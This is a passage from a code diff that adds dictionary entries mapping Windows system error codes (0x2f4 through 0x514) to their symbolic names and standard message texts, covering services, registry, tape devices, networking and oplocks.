+        0x000002f4: ("ERROR_RESOURCE_REQUIREMENTS_CHANGED", "The device has succeeded a query-stop and its resource requirements have changed."),
+        0x000002f5: ("ERROR_TRANSLATION_COMPLETE", "The translator has translated these resources into the global space and no further translations should be performed."),
+        0x000002f6: ("ERROR_NOTHING_TO_TERMINATE", "A process being terminated has no threads to terminate."),
+        0x000002f7: ("ERROR_PROCESS_NOT_IN_JOB", "The specified process is not part of a job."),
+        0x000002f8: ("ERROR_PROCESS_IN_JOB", "The specified process is part of a job."),
+        0x000002f9: ("ERROR_VOLSNAP_HIBERNATE_READY", "{Volume Shadow Copy Service}"),
+        0x000002fa: ("ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY", "A file system or file system filter driver has successfully completed an FsFilter operation."),
+        0x000002fb: ("ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED", "The specified interrupt vector was already connected."),
+        0x000002fc: ("ERROR_INTERRUPT_STILL_CONNECTED", "The specified interrupt vector is still connected."),
+        0x000002fd: ("ERROR_WAIT_FOR_OPLOCK", "An operation is blocked waiting for an oplock."),
+        0x000002fe: ("ERROR_DBG_EXCEPTION_HANDLED", "Debugger handled exception"),
+        0x000002ff: ("ERROR_DBG_CONTINUE", "Debugger continued"),
+        0x00000300: ("ERROR_CALLBACK_POP_STACK", "An exception occurred in a user mode callback and the kernel callback frame should be removed."),
+        0x00000301: ("ERROR_COMPRESSION_DISABLED", "Compression is disabled for this volume."),
+        0x00000302: ("ERROR_CANTFETCHBACKWARDS", "The data provider cannot fetch backwards through a result set."),
+        0x00000303: ("ERROR_CANTSCROLLBACKWARDS", "The data provider cannot scroll backwards through a result set."),
+        0x00000304: ("ERROR_ROWSNOTRELEASED", "The data provider requires that previously fetched data is released before asking for more data."),
+        0x00000305: ("ERROR_BAD_ACCESSOR_FLAGS", "The data provider was not able to interpret the flags set for a column binding in an accessor."),
+        0x00000306: ("ERROR_ERRORS_ENCOUNTERED", "One or more errors occurred while processing the request."),
+        0x00000307: ("ERROR_NOT_CAPABLE", "The implementation is not capable of performing the request."),
+        0x00000308: ("ERROR_REQUEST_OUT_OF_SEQUENCE", "The client of a component requested an operation which is not valid given the state of the component instance."),
+        0x00000309: ("ERROR_VERSION_PARSE_ERROR", "A version number could not be parsed."),
+        0x0000030a: ("ERROR_BADSTARTPOSITION", "The iterator's start position is invalid."),
+        0x0000030b: ("ERROR_MEMORY_HARDWARE", "The hardware has reported an uncorrectable memory error."),
+        0x0000030c: ("ERROR_DISK_REPAIR_DISABLED", "The attempted operation required self healing to be enabled."),
+        0x0000030d: ("ERROR_INSUFFICIENT_RESOURCE_FOR_SPECIFIED_SHARED_SECTION_SIZE", "The Desktop heap encountered an error while allocating session memory. There is more information in the system event log."),
+        0x0000030e: ("ERROR_SYSTEM_POWERSTATE_TRANSITION", "The system power state is transitioning from %2 to %3."),
+        0x0000030f: ("ERROR_SYSTEM_POWERSTATE_COMPLEX_TRANSITION", "The system power state is transitioning from %2 to %3 but could enter %4."),
+        0x00000310: ("ERROR_MCA_EXCEPTION", "A thread is getting dispatched with MCA EXCEPTION because of MCA."),
+        0x00000311: ("ERROR_ACCESS_AUDIT_BY_POLICY", "Access to %1 is monitored by policy rule %2."),
+        0x00000312: ("ERROR_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY", "Access to %1 has been restricted by your Administrator by policy rule %2."),
+        0x00000313: ("ERROR_ABANDON_HIBERFILE", "A valid hibernation file has been invalidated and should be abandoned."),
+        0x00000314: ("ERROR_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED", "{Delayed Write Failed}"),
+        0x00000315: ("ERROR_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR", "{Delayed Write Failed}"),
+        0x00000316: ("ERROR_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR", "{Delayed Write Failed}"),
+        0x00000317: ("ERROR_BAD_MCFG_TABLE", "The resources required for this device conflict with the MCFG table."),
+        0x00000318: ("ERROR_DISK_REPAIR_REDIRECTED", "The volume repair could not be performed while it is online."),
+        0x00000319: ("ERROR_DISK_REPAIR_UNSUCCESSFUL", "The volume repair was not successful."),
+        0x0000031a: ("ERROR_CORRUPT_LOG_OVERFULL", "One of the volume corruption logs is full. Further corruptions that may be detected won't be logged."),
+        0x0000031b: ("ERROR_CORRUPT_LOG_CORRUPTED", "One of the volume corruption logs is internally corrupted and needs to be recreated. The volume may contain undetected corruptions and must be scanned."),
+        0x0000031c: ("ERROR_CORRUPT_LOG_UNAVAILABLE", "One of the volume corruption logs is unavailable for being operated on."),
+        0x0000031d: ("ERROR_CORRUPT_LOG_DELETED_FULL", "One of the volume corruption logs was deleted while still having corruption records in them. The volume contains detected corruptions and must be scanned."),
+        0x0000031e: ("ERROR_CORRUPT_LOG_CLEARED", "One of the volume corruption logs was cleared by chkdsk and no longer contains real corruptions."),
+        0x0000031f: ("ERROR_ORPHAN_NAME_EXHAUSTED", "Orphaned files exist on the volume but could not be recovered because no more new names could be created in the recovery directory. Files must be moved from the recovery directory."),
+        0x00000320: ("ERROR_OPLOCK_SWITCHED_TO_NEW_HANDLE", "The oplock that was associated with this handle is now associated with a different handle."),
+        0x00000321: ("ERROR_CANNOT_GRANT_REQUESTED_OPLOCK", "An oplock of the requested level cannot be granted.  An oplock of a lower level may be available."),
+        0x00000322: ("ERROR_CANNOT_BREAK_OPLOCK", "The operation did not complete successfully because it would cause an oplock to be broken. The caller has requested that existing oplocks not be broken."),
+        0x00000323: ("ERROR_OPLOCK_HANDLE_CLOSED", "The handle with which this oplock was associated has been closed.  The oplock is now broken."),
+        0x00000324: ("ERROR_NO_ACE_CONDITION", "The specified access control entry (ACE) does not contain a condition."),
+        0x00000325: ("ERROR_INVALID_ACE_CONDITION", "The specified access control entry (ACE) contains an invalid condition."),
+        0x00000326: ("ERROR_FILE_HANDLE_REVOKED", "Access to the specified file handle has been revoked."),
+        0x00000327: ("ERROR_IMAGE_AT_DIFFERENT_BASE", "{Image Relocated}"),
+        0x000003e2: ("ERROR_EA_ACCESS_DENIED", "Access to the extended attribute was denied."),
+        0x000003e3: ("ERROR_OPERATION_ABORTED", "The I/O operation has been aborted because of either a thread exit or an application request."),
+        0x000003e4: ("ERROR_IO_INCOMPLETE", "Overlapped I/O event is not in a signaled state."),
+        0x000003e5: ("ERROR_IO_PENDING", "Overlapped I/O operation is in progress."),
+        0x000003e6: ("ERROR_NOACCESS", "Invalid access to memory location."),
+        0x000003e7: ("ERROR_SWAPERROR", "Error performing inpage operation."),
+        0x000003e9: ("ERROR_STACK_OVERFLOW", "Recursion too deep; the stack overflowed."),
+        0x000003ea: ("ERROR_INVALID_MESSAGE", "The window cannot act on the sent message."),
+        0x000003eb: ("ERROR_CAN_NOT_COMPLETE", "Cannot complete this function."),
+        0x000003ec: ("ERROR_INVALID_FLAGS", "Invalid flags."),
+        0x000003ed: ("ERROR_UNRECOGNIZED_VOLUME", "The volume does not contain a recognized file system."),
+        0x000003ee: ("ERROR_FILE_INVALID", "The volume for a file has been externally altered so that the opened file is no longer valid."),
+        0x000003ef: ("ERROR_FULLSCREEN_MODE", "The requested operation cannot be performed in full-screen mode."),
+        0x000003f0: ("ERROR_NO_TOKEN", "An attempt was made to reference a token that does not exist."),
+        0x000003f1: ("ERROR_BADDB", "The configuration registry database is corrupt."),
+        0x000003f2: ("ERROR_BADKEY", "The configuration registry key is invalid."),
+        0x000003f3: ("ERROR_CANTOPEN", "The configuration registry key could not be opened."),
+        0x000003f4: ("ERROR_CANTREAD", "The configuration registry key could not be read."),
+        0x000003f5: ("ERROR_CANTWRITE", "The configuration registry key could not be written."),
+        0x000003f6: ("ERROR_REGISTRY_RECOVERED", "One of the files in the registry database had to be recovered by use of a log or alternate copy. The recovery was successful."),
+        0x000003f7: ("ERROR_REGISTRY_CORRUPT", "The registry is corrupted. The structure of one of the files containing registry data is corrupted, or the system's memory image of the file is corrupted, or the file could not be recovered because the alternate copy or log was absent or corrupted."),
+        0x000003f8: ("ERROR_REGISTRY_IO_FAILED", "An I/O operation initiated by the registry failed unrecoverably. The registry could not read in, or write out, or flush, one of the files that contain the system's image of the registry."),
+        0x000003f9: ("ERROR_NOT_REGISTRY_FILE", "The system has attempted to load or restore a file into the registry, but the specified file is not in a registry file format."),
+        0x000003fa: ("ERROR_KEY_DELETED", "Illegal operation attempted on a registry key that has been marked for deletion."),
+        0x000003fb: ("ERROR_NO_LOG_SPACE", "System could not allocate the required space in a registry log."),
+        0x000003fc: ("ERROR_KEY_HAS_CHILDREN", "Cannot create a symbolic link in a registry key that already has subkeys or values."),
+        0x000003fd: ("ERROR_CHILD_MUST_BE_VOLATILE", "Cannot create a stable subkey under a volatile parent key."),
+        0x000003fe: ("ERROR_NOTIFY_ENUM_DIR", "A notify change request is being completed and the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes."),
+        0x0000041b: ("ERROR_DEPENDENT_SERVICES_RUNNING", "A stop control has been sent to a service that other running services are dependent on."),
+        0x0000041c: ("ERROR_INVALID_SERVICE_CONTROL", "The requested control is not valid for this service."),
+        0x0000041d: ("ERROR_SERVICE_REQUEST_TIMEOUT", "The service did not respond to the start or control request in a timely fashion."),
+        0x0000041e: ("ERROR_SERVICE_NO_THREAD", "A thread could not be created for the service."),
+        0x0000041f: ("ERROR_SERVICE_DATABASE_LOCKED", "The service database is locked."),
+        0x00000420: ("ERROR_SERVICE_ALREADY_RUNNING", "An instance of the service is already running."),
+        0x00000421: ("ERROR_INVALID_SERVICE_ACCOUNT", "The account name is invalid or does not exist, or the password is invalid for the account name specified."),
+        0x00000422: ("ERROR_SERVICE_DISABLED", "The service cannot be started, either because it is disabled or because it has no enabled devices associated with it."),
+        0x00000423: ("ERROR_CIRCULAR_DEPENDENCY", "Circular service dependency was specified."),
+        0x00000424: ("ERROR_SERVICE_DOES_NOT_EXIST", "The specified service does not exist as an installed service."),
+        0x00000425: ("ERROR_SERVICE_CANNOT_ACCEPT_CTRL", "The service cannot accept control messages at this time."),
+        0x00000426: ("ERROR_SERVICE_NOT_ACTIVE", "The service has not been started."),
+        0x00000427: ("ERROR_FAILED_SERVICE_CONTROLLER_CONNECT", "The service process could not connect to the service controller."),
+        0x00000428: ("ERROR_EXCEPTION_IN_SERVICE", "An exception occurred in the service when handling the control request."),
+        0x00000429: ("ERROR_DATABASE_DOES_NOT_EXIST", "The database specified does not exist."),
+        0x0000042a: ("ERROR_SERVICE_SPECIFIC_ERROR", "The service has returned a service-specific error code."),
+        0x0000042b: ("ERROR_PROCESS_ABORTED", "The process terminated unexpectedly."),
+        0x0000042c: ("ERROR_SERVICE_DEPENDENCY_FAIL", "The dependency service or group failed to start."),
+        0x0000042d: ("ERROR_SERVICE_LOGON_FAILED", "The service did not start due to a logon failure."),
+        0x0000042e: ("ERROR_SERVICE_START_HANG", "After starting, the service hung in a start-pending state."),
+        0x0000042f: ("ERROR_INVALID_SERVICE_LOCK", "The specified service database lock is invalid."),
+        0x00000430: ("ERROR_SERVICE_MARKED_FOR_DELETE", "The specified service has been marked for deletion."),
+        0x00000431: ("ERROR_SERVICE_EXISTS", "The specified service already exists."),
+        0x00000432: ("ERROR_ALREADY_RUNNING_LKG", "The system is currently running with the last-known-good configuration."),
+        0x00000433: ("ERROR_SERVICE_DEPENDENCY_DELETED", "The dependency service does not exist or has been marked for deletion."),
+        0x00000434: ("ERROR_BOOT_ALREADY_ACCEPTED", "The current boot has already been accepted for use as the last-known-good control set."),
+        0x00000435: ("ERROR_SERVICE_NEVER_STARTED", "No attempts to start the service have been made since the last boot."),
+        0x00000436: ("ERROR_DUPLICATE_SERVICE_NAME", "The name is already in use as either a service name or a service display name."),
+        0x00000437: ("ERROR_DIFFERENT_SERVICE_ACCOUNT", "The account specified for this service is different from the account specified for other services running in the same process."),
+        0x00000438: ("ERROR_CANNOT_DETECT_DRIVER_FAILURE", "Failure actions can only be set for Win32 services, not for drivers."),
+        0x00000439: ("ERROR_CANNOT_DETECT_PROCESS_ABORT", "This service runs in the same process as the service control manager."),
+        0x0000043a: ("ERROR_NO_RECOVERY_PROGRAM", "No recovery program has been configured for this service."),
+        0x0000043b: ("ERROR_SERVICE_NOT_IN_EXE", "The executable program that this service is configured to run in does not implement the service."),
+        0x0000043c: ("ERROR_NOT_SAFEBOOT_SERVICE", "This service cannot be started in Safe Mode"),
+        0x0000044c: ("ERROR_END_OF_MEDIA", "The physical end of the tape has been reached."),
+        0x0000044d: ("ERROR_FILEMARK_DETECTED", "A tape access reached a filemark."),
+        0x0000044e: ("ERROR_BEGINNING_OF_MEDIA", "The beginning of the tape or a partition was encountered."),
+        0x0000044f: ("ERROR_SETMARK_DETECTED", "A tape access reached the end of a set of files."),
+        0x00000450: ("ERROR_NO_DATA_DETECTED", "No more data is on the tape."),
+        0x00000451: ("ERROR_PARTITION_FAILURE", "Tape could not be partitioned."),
+        0x00000452: ("ERROR_INVALID_BLOCK_LENGTH", "When accessing a new tape of a multivolume partition, the current block size is incorrect."),
+        0x00000453: ("ERROR_DEVICE_NOT_PARTITIONED", "Tape partition information could not be found when loading a tape."),
+        0x00000454: ("ERROR_UNABLE_TO_LOCK_MEDIA", "Unable to lock the media eject mechanism."),
+        0x00000455: ("ERROR_UNABLE_TO_UNLOAD_MEDIA", "Unable to unload the media."),
+        0x00000456: ("ERROR_MEDIA_CHANGED", "The media in the drive may have changed."),
+        0x00000457: ("ERROR_BUS_RESET", "The I/O bus was reset."),
+        0x00000458: ("ERROR_NO_MEDIA_IN_DRIVE", "No media in drive."),
+        0x00000459: ("ERROR_NO_UNICODE_TRANSLATION", "No mapping for the Unicode character exists in the target multi-byte code page."),
+        0x0000045a: ("ERROR_DLL_INIT_FAILED", "A dynamic link library (DLL) initialization routine failed."),
+        0x0000045b: ("ERROR_SHUTDOWN_IN_PROGRESS", "A system shutdown is in progress."),
+        0x0000045c: ("ERROR_NO_SHUTDOWN_IN_PROGRESS", "Unable to abort the system shutdown because no shutdown was in progress."),
+        0x0000045d: ("ERROR_IO_DEVICE", "The request could not be performed because of an I/O device error."),
+        0x0000045e: ("ERROR_SERIAL_NO_DEVICE", "No serial device was successfully initialized. The serial driver will unload."),
+        0x0000045f: ("ERROR_IRQ_BUSY", "Unable to open a device that was sharing an interrupt request (IRQ) with other devices. At least one other device that uses that IRQ was already opened."),
+        0x00000460: ("ERROR_MORE_WRITES", "A serial I/O operation was completed by another write to the serial port."),
+        0x00000461: ("ERROR_COUNTER_TIMEOUT", "A serial I/O operation completed because the timeout period expired."),
+        0x00000462: ("ERROR_FLOPPY_ID_MARK_NOT_FOUND", "No ID address mark was found on the floppy disk."),
+        0x00000463: ("ERROR_FLOPPY_WRONG_CYLINDER", "Mismatch between the floppy disk sector ID field and the floppy disk controller track address."),
+        0x00000464: ("ERROR_FLOPPY_UNKNOWN_ERROR", "The floppy disk controller reported an error that is not recognized by the floppy disk driver."),
+        0x00000465: ("ERROR_FLOPPY_BAD_REGISTERS", "The floppy disk controller returned inconsistent results in its registers."),
+        0x00000466: ("ERROR_DISK_RECALIBRATE_FAILED", "While accessing the hard disk, a recalibrate operation failed, even after retries."),
+        0x00000467: ("ERROR_DISK_OPERATION_FAILED", "While accessing the hard disk, a disk operation failed even after retries."),
+        0x00000468: ("ERROR_DISK_RESET_FAILED", "While accessing the hard disk, a disk controller reset was needed, but even that failed."),
+        0x00000469: ("ERROR_EOM_OVERFLOW", "Physical end of tape encountered."),
+        0x0000046a: ("ERROR_NOT_ENOUGH_SERVER_MEMORY", "Not enough server storage is available to process this command."),
+        0x0000046b: ("ERROR_POSSIBLE_DEADLOCK", "A potential deadlock condition has been detected."),
+        0x0000046c: ("ERROR_MAPPED_ALIGNMENT", "The base address or the file offset specified does not have the proper alignment."),
+        0x00000474: ("ERROR_SET_POWER_STATE_VETOED", "An attempt to change the system power state was vetoed by another application or driver."),
+        0x00000475: ("ERROR_SET_POWER_STATE_FAILED", "The system BIOS failed an attempt to change the system power state."),
+        0x00000476: ("ERROR_TOO_MANY_LINKS", "An attempt was made to create more links on a file than the file system supports."),
+        0x0000047e: ("ERROR_OLD_WIN_VERSION", "The specified program requires a newer version of Windows."),
+        0x0000047f: ("ERROR_APP_WRONG_OS", "The specified program is not a Windows or MS-DOS program."),
+        0x00000480: ("ERROR_SINGLE_INSTANCE_APP", "Cannot start more than one instance of the specified program."),
+        0x00000481: ("ERROR_RMODE_APP", "The specified program was written for an earlier version of Windows."),
+        0x00000482: ("ERROR_INVALID_DLL", "One of the library files needed to run this application is damaged."),
+        0x00000483: ("ERROR_NO_ASSOCIATION", "No application is associated with the specified file for this operation."),
+        0x00000484: ("ERROR_DDE_FAIL", "An error occurred in sending the command to the application."),
+        0x00000485: ("ERROR_DLL_NOT_FOUND", "One of the library files needed to run this application cannot be found."),
+        0x00000486: ("ERROR_NO_MORE_USER_HANDLES", "The current process has used all of its system allowance of handles for Window Manager objects."),
+        0x00000487: ("ERROR_MESSAGE_SYNC_ONLY", "The message can be used only with synchronous operations."),
+        0x00000488: ("ERROR_SOURCE_ELEMENT_EMPTY", "The indicated source element has no media."),
+        0x00000489: ("ERROR_DESTINATION_ELEMENT_FULL", "The indicated destination element already contains media."),
+        0x0000048a: ("ERROR_ILLEGAL_ELEMENT_ADDRESS", "The indicated element does not exist."),
+        0x0000048b: ("ERROR_MAGAZINE_NOT_PRESENT", "The indicated element is part of a magazine that is not present."),
+        0x0000048c: ("ERROR_DEVICE_REINITIALIZATION_NEEDED", "The indicated device requires reinitialization due to hardware errors."),
+        0x0000048d: ("ERROR_DEVICE_REQUIRES_CLEANING", "The device has indicated that cleaning is required before further operations are attempted."),
+        0x0000048e: ("ERROR_DEVICE_DOOR_OPEN", "The device has indicated that its door is open."),
+        0x0000048f: ("ERROR_DEVICE_NOT_CONNECTED", "The device is not connected."),
+        0x00000490: ("ERROR_NOT_FOUND", "Element not found."),
+        0x00000491: ("ERROR_NO_MATCH", "There was no match for the specified key in the index."),
+        0x00000492: ("ERROR_SET_NOT_FOUND", "The property set specified does not exist on the object."),
+        0x00000493: ("ERROR_POINT_NOT_FOUND", "The point passed to GetMouseMovePoints is not in the buffer."),
+        0x00000494: ("ERROR_NO_TRACKING_SERVICE", "The tracking (workstation) service is not running."),
+        0x00000495: ("ERROR_NO_VOLUME_ID", "The Volume ID could not be found."),
+        0x00000497: ("ERROR_UNABLE_TO_REMOVE_REPLACED", "Unable to remove the file to be replaced."),
+        0x00000498: ("ERROR_UNABLE_TO_MOVE_REPLACEMENT", "Unable to move the replacement file to the file to be replaced. The file to be replaced has retained its original name."),
+        0x00000499: ("ERROR_UNABLE_TO_MOVE_REPLACEMENT_2", "Unable to move the replacement file to the file to be replaced. The file to be replaced has been renamed using the backup name."),
+        0x0000049a: ("ERROR_JOURNAL_DELETE_IN_PROGRESS", "The volume change journal is being deleted."),
+        0x0000049b: ("ERROR_JOURNAL_NOT_ACTIVE", "The volume change journal is not active."),
+        0x0000049c: ("ERROR_POTENTIAL_FILE_FOUND", "A file was found, but it may not be the correct file."),
+        0x0000049d: ("ERROR_JOURNAL_ENTRY_DELETED", "The journal entry has been deleted from the journal."),
+        0x000004a6: ("ERROR_SHUTDOWN_IS_SCHEDULED", "A system shutdown has already been scheduled."),
+        0x000004a7: ("ERROR_SHUTDOWN_USERS_LOGGED_ON", "The system shutdown cannot be initiated because there are other users logged on to the computer."),
+        0x000004b0: ("ERROR_BAD_DEVICE", "The specified device name is invalid."),
+        0x000004b1: ("ERROR_CONNECTION_UNAVAIL", "The device is not currently connected but it is a remembered connection."),
+        0x000004b2: ("ERROR_DEVICE_ALREADY_REMEMBERED", "The local device name has a remembered connection to another network resource."),
+        0x000004b3: ("ERROR_NO_NET_OR_BAD_PATH", "The network path was either typed incorrectly, does not exist, or the network provider is not currently available. Please try retyping the path or contact your network administrator."),
+        0x000004b4: ("ERROR_BAD_PROVIDER", "The specified network provider name is invalid."),
+        0x000004b5: ("ERROR_CANNOT_OPEN_PROFILE", "Unable to open the network connection profile."),
+        0x000004b6: ("ERROR_BAD_PROFILE", "The network connection profile is corrupted."),
+        0x000004b7: ("ERROR_NOT_CONTAINER", "Cannot enumerate a noncontainer."),
+        0x000004b8: ("ERROR_EXTENDED_ERROR", "An extended error has occurred."),
+        0x000004b9: ("ERROR_INVALID_GROUPNAME", "The format of the specified group name is invalid."),
+        0x000004ba: ("ERROR_INVALID_COMPUTERNAME", "The format of the specified computer name is invalid."),
+        0x000004bb: ("ERROR_INVALID_EVENTNAME", "The format of the specified event name is invalid."),
+        0x000004bc: ("ERROR_INVALID_DOMAINNAME", "The format of the specified domain name is invalid."),
+        0x000004bd: ("ERROR_INVALID_SERVICENAME", "The format of the specified service name is invalid."),
+        0x000004be: ("ERROR_INVALID_NETNAME", "The format of the specified network name is invalid."),
+        0x000004bf: ("ERROR_INVALID_SHARENAME", "The format of the specified share name is invalid."),
+        0x000004c0: ("ERROR_INVALID_PASSWORDNAME", "The format of the specified password is invalid."),
+        0x000004c1: ("ERROR_INVALID_MESSAGENAME", "The format of the specified message name is invalid."),
+        0x000004c2: ("ERROR_INVALID_MESSAGEDEST", "The format of the specified message destination is invalid."),
+        0x000004c3: ("ERROR_SESSION_CREDENTIAL_CONFLICT", "Multiple connections to a server or shared resource by the same user, using more than one user name, are not allowed. Disconnect all previous connections to the server or shared resource and try again."),
+        0x000004c4: ("ERROR_REMOTE_SESSION_LIMIT_EXCEEDED", "An attempt was made to establish a session to a network server, but there are already too many sessions established to that server."),
+        0x000004c5: ("ERROR_DUP_DOMAINNAME", "The workgroup or domain name is already in use by another computer on the network."),
+        0x000004c6: ("ERROR_NO_NETWORK", "The network is not present or not started."),
+        0x000004c7: ("ERROR_CANCELLED", "The operation was canceled by the user."),
+        0x000004c8: ("ERROR_USER_MAPPED_FILE", "The requested operation cannot be performed on a file with a user-mapped section open."),
+        0x000004c9: ("ERROR_CONNECTION_REFUSED", "The remote computer refused the network connection."),
+        0x000004ca: ("ERROR_GRACEFUL_DISCONNECT", "The network connection was gracefully closed."),
+        0x000004cb: ("ERROR_ADDRESS_ALREADY_ASSOCIATED", "The network transport endpoint already has an address associated with it."),
+        0x000004cc: ("ERROR_ADDRESS_NOT_ASSOCIATED", "An address has not yet been associated with the network endpoint."),
+        0x000004cd: ("ERROR_CONNECTION_INVALID", "An operation was attempted on a nonexistent network connection."),
+        0x000004ce: ("ERROR_CONNECTION_ACTIVE", "An invalid operation was attempted on an active network connection."),
+        0x000004cf: ("ERROR_NETWORK_UNREACHABLE", "The network location cannot be reached. For information about network troubleshooting, see Windows Help."),
+        0x000004d0: ("ERROR_HOST_UNREACHABLE", "The network location cannot be reached. For information about network troubleshooting, see Windows Help."),
+        0x000004d1: ("ERROR_PROTOCOL_UNREACHABLE", "The network location cannot be reached. For information about network troubleshooting, see Windows Help."),
+        0x000004d2: ("ERROR_PORT_UNREACHABLE", "No service is operating at the destination network endpoint on the remote system."),
+        0x000004d3: ("ERROR_REQUEST_ABORTED", "The request was aborted."),
+        0x000004d4: ("ERROR_CONNECTION_ABORTED", "The network connection was aborted by the local system."),
+        0x000004d5: ("ERROR_RETRY", "The operation could not be completed. A retry should be performed."),
+        0x000004d6: ("ERROR_CONNECTION_COUNT_LIMIT", "A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached."),
+        0x000004d7: ("ERROR_LOGIN_TIME_RESTRICTION", "Attempting to log in during an unauthorized time of day for this account."),
+        0x000004d8: ("ERROR_LOGIN_WKSTA_RESTRICTION", "The account is not authorized to log in from this station."),
+        0x000004d9: ("ERROR_INCORRECT_ADDRESS", "The network address could not be used for the operation requested."),
+        0x000004da: ("ERROR_ALREADY_REGISTERED", "The service is already registered."),
+        0x000004db: ("ERROR_SERVICE_NOT_FOUND", "The specified service does not exist."),
+        0x000004dc: ("ERROR_NOT_AUTHENTICATED", "The operation being requested was not performed because the user has not been authenticated."),
+        0x000004dd: ("ERROR_NOT_LOGGED_ON", "The operation being requested was not performed because the user has not logged on to the network. The specified service does not exist."),
+        0x000004de: ("ERROR_CONTINUE", "Continue with work in progress."),
+        0x000004df: ("ERROR_ALREADY_INITIALIZED", "An attempt was made to perform an initialization operation when initialization has already been completed."),
+        0x000004e0: ("ERROR_NO_MORE_DEVICES", "No more local devices."),
+        0x000004e1: ("ERROR_NO_SUCH_SITE", "The specified site does not exist."),
+        0x000004e2: ("ERROR_DOMAIN_CONTROLLER_EXISTS", "A domain controller with the specified name already exists."),
+        0x000004e3: ("ERROR_ONLY_IF_CONNECTED", "This operation is supported only when you are connected to the server."),
+        0x000004e4: ("ERROR_OVERRIDE_NOCHANGES", "The group policy framework should call the extension even if there are no changes."),
+        0x000004e5: ("ERROR_BAD_USER_PROFILE", "The specified user does not have a valid profile."),
+        0x000004e6: ("ERROR_NOT_SUPPORTED_ON_SBS", "This operation is not supported on a computer running Windows Server 2003 for Small Business Server"),
+        0x000004e7: ("ERROR_SERVER_SHUTDOWN_IN_PROGRESS", "The server machine is shutting down."),
+        0x000004e8: ("ERROR_HOST_DOWN", "The remote system is not available. For information about network troubleshooting, see Windows Help."),
+        0x000004e9: ("ERROR_NON_ACCOUNT_SID", "The security identifier provided is not from an account domain."),
+        0x000004ea: ("ERROR_NON_DOMAIN_SID", "The security identifier provided does not have a domain component."),
+        0x000004eb: ("ERROR_APPHELP_BLOCK", "AppHelp dialog canceled thus preventing the application from starting."),
+        0x000004ec: ("ERROR_ACCESS_DISABLED_BY_POLICY", "This program is blocked by group policy. For more information, contact your system administrator."),
+        0x000004ed: ("ERROR_REG_NAT_CONSUMPTION", "A program attempt to use an invalid register value. Normally caused by an uninitialized register. This error is Itanium specific."),
+        0x000004ee: ("ERROR_CSCSHARE_OFFLINE", "The share is currently offline or does not exist."),
+        0x000004ef: ("ERROR_PKINIT_FAILURE", "The Kerberos protocol encountered an error while validating the KDC certificate during smartcard logon. There is more information in the system event log."),
+        0x000004f0: ("ERROR_SMARTCARD_SUBSYSTEM_FAILURE", "The Kerberos protocol encountered an error while attempting to utilize the smartcard subsystem."),
+        0x000004f1: ("ERROR_DOWNGRADE_DETECTED", "The system cannot contact a domain controller to service the authentication request. Please try again later."),
+        0x000004f7: ("ERROR_MACHINE_LOCKED", "The machine is locked and cannot be shut down without the force option."),
+        0x000004f9: ("ERROR_CALLBACK_SUPPLIED_INVALID_DATA", "An application-defined callback gave invalid data when called."),
+        0x000004fa: ("ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED", "The group policy framework should call the extension in the synchronous foreground policy refresh."),
+        0x000004fb: ("ERROR_DRIVER_BLOCKED", "This driver has been blocked from loading"),
+        0x000004fc: ("ERROR_INVALID_IMPORT_OF_NON_DLL", "A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image."),
+        0x000004fd: ("ERROR_ACCESS_DISABLED_WEBBLADE", "Windows cannot open this program since it has been disabled."),
+        0x000004fe: ("ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER", "Windows cannot open this program because the license enforcement system has been tampered with or become corrupted."),
+        0x000004ff: ("ERROR_RECOVERY_FAILURE", "A transaction recover failed."),
+        0x00000500: ("ERROR_ALREADY_FIBER", "The current thread has already been converted to a fiber."),
+        0x00000501: ("ERROR_ALREADY_THREAD", "The current thread has already been converted from a fiber."),
+        0x00000502: ("ERROR_STACK_BUFFER_OVERRUN", "The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application."),
+        0x00000503: ("ERROR_PARAMETER_QUOTA_EXCEEDED", "Data present in one of the parameters is more than the function can operate on."),
+        0x00000504: ("ERROR_DEBUGGER_INACTIVE", "An attempt to do an operation on a debug object failed because the object is in the process of being deleted."),
+        0x00000505: ("ERROR_DELAY_LOAD_FAILED", "An attempt to delay-load a .dll or get a function address in a delay-loaded .dll failed."),
+        0x00000506: ("ERROR_VDM_DISALLOWED", "%1 is a 16-bit application. You do not have permissions to execute 16-bit applications. Check your permissions with your system administrator."),
+        0x00000507: ("ERROR_UNIDENTIFIED_ERROR", "Insufficient information exists to identify the cause of failure."),
+        0x00000508: ("ERROR_INVALID_CRUNTIME_PARAMETER", "The parameter passed to a C runtime function is incorrect."),
+        0x00000509: ("ERROR_BEYOND_VDL", "The operation occurred beyond the valid data length of the file."),
+        0x0000050a: ("ERROR_INCOMPATIBLE_SERVICE_SID_TYPE", "The service start failed since one or more services in the same process have an incompatible service SID type setting. A service with restricted service SID type can only coexist in the same process with other services with a restricted SID type. If the service SID type for this service was just configured, the hosting process must be restarted in order to start this service."),
+        0x0000050b: ("ERROR_DRIVER_PROCESS_TERMINATED", "The process hosting the driver for this device has been terminated."),
+        0x0000050c: ("ERROR_IMPLEMENTATION_LIMIT", "An operation attempted to exceed an implementation-defined limit."),
+        0x0000050d: ("ERROR_PROCESS_IS_PROTECTED", "Either the target process, or the target thread's containing process, is a protected process."),
+        0x0000050e: ("ERROR_SERVICE_NOTIFY_CLIENT_LAGGING", "The service notification client is lagging too far behind the current state of services in the machine."),
+        0x0000050f: ("ERROR_DISK_QUOTA_EXCEEDED", "The requested file operation failed because the storage quota was exceeded."),
+        0x00000510: ("ERROR_CONTENT_BLOCKED", "The requested file operation failed because the storage policy blocks that type of file. For more information, contact your system administrator."),
+        0x00000511: ("ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE", "A privilege that the service requires to function properly does not exist in the service account configuration."),
+        0x00000512: ("ERROR_APP_HANG", "A thread involved in this operation appears to be unresponsive."),
+        0x00000513: ("ERROR_INVALID_LABEL", "Indicates a particular Security ID may not be assigned as the label of an object."),
+        0x00000514: ("ERROR_NOT_ALL_ASSIGNED", "Not all privileges or groups referenced are assigned to the caller."),
